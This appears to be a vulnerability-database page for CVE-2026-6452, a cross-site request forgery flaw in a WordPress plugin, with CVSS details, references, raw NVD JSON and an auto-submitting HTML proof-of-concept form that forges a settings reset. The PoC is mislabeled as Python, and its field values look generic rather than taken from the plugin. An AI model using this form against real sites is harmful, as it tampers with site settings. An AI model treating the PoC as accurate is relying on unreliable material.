CVE-2026-6452

Description

The Bigfishgames Syndicate plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2. This is due to missing or incorrect nonce validation on the bigfishgames_syndicate_submenu() function. This makes it possible for unauthenticated attackers to reset plugin settings and update them via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Bigfishgames Syndicate <= 1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-6452 -->
<!-- This PoC demonstrates how an attacker could forge a request to reset/update plugin settings -->
<html>
  <body>
    <!-- The action URL targets the vulnerable function -->
    <form action="http://target-site/wp-admin/admin.php?page=bigfishgames_syndicate_submenu" method="POST">
      <input type="hidden" name="action" value="reset_settings" />
      <input type="hidden" name="update_option" value="malicious_config" />
      <input type="submit" value="Click me!" />
    </form>
    <script>
      // Automatically submit the form to trigger the attack without user interaction (besides initial page load)
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6452
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6452
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6452/
[4] VulDB https://vuldb.com/cve/CVE-2026-6452
[5] https://plugins.trac.wordpress.org/browser/bigfishgames-syndicate/tags/1.2/bigfishgames-syndicate.php#L169
[6] https://plugins.trac.wordpress.org/browser/bigfishgames-syndicate/tags/1.2/bigfishgames-syndicate.php#L238
[7] https://plugins.trac.wordpress.org/browser/bigfishgames-syndicate/trunk/bigfishgames-syndicate.php#L169
[8] https://plugins.trac.wordpress.org/browser/bigfishgames-syndicate/trunk/bigfishgames-syndicate.php#L238
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/67877a2e-a45d-4674-b749-05d9217ef6bf?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6452", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:38.497", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Bigfishgames Syndicate plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2. This is due to missing or incorrect nonce validation on the bigfishgames_syndicate_submenu() function. This makes it possible for unauthenticated attackers to reset plugin settings and update them via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bigfishgames-syndicate/tags/1.2/bigfishgames-syndicate.php#L169", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bigfishgames-syndicate/tags/1.2/bigfishgames-syndicate.php#L238", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bigfishgames-syndicate/trunk/bigfishgames-syndicate.php#L169", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bigfishgames-syndicate/trunk/bigfishgames-syndicate.php#L238", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/67877a2e-a45d-4674-b749-05d9217ef6bf?source=cve", "source": "[email protected]"}]}}